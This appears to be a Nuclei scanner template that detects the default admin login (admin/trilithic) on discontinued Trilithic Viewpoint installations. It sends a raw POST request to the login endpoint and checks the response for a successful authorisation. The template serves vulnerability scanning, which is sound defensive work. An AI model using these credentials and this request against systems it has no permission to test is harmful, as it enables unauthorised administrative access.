trilithic-viewpoint-default: Trilithic Viewpoint Default Login

id: trilithic-viewpoint-default

info:
  name: Trilithic Viewpoint Default Login
  author: davidmckennirey
  severity: high
  description: Trilithic Viewpoint application default admin credentials were discovered. Note this product has been discontinued.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 1
  tags: default-login,trilithic,viewpoint,vuln

http:
  - raw:
      - |
        POST /ViewPoint/admin/Site/ViewPointLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Cookie: trilithic_win_auth=false

        {u:"{{username}}", t:"undefined", p:"{{password}}", d:"", r:false, w:false}

    payloads:
      username:
        - admin
      password:
        - trilithic
    attack: pitchfork

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - '"authorized":true'
          - 'redirectUrl'
        part: body
        condition: and
# digest: 490a00463044022038390c69866e85488a6acbff189a6b975f8962c43a20d7f26cf434c1a9061914022067fc9309ab3b76c536f65babbcf74d7dc0e6749b34152b086907d6c10bd4b429:922c64590222798bb761d5b6d8e72950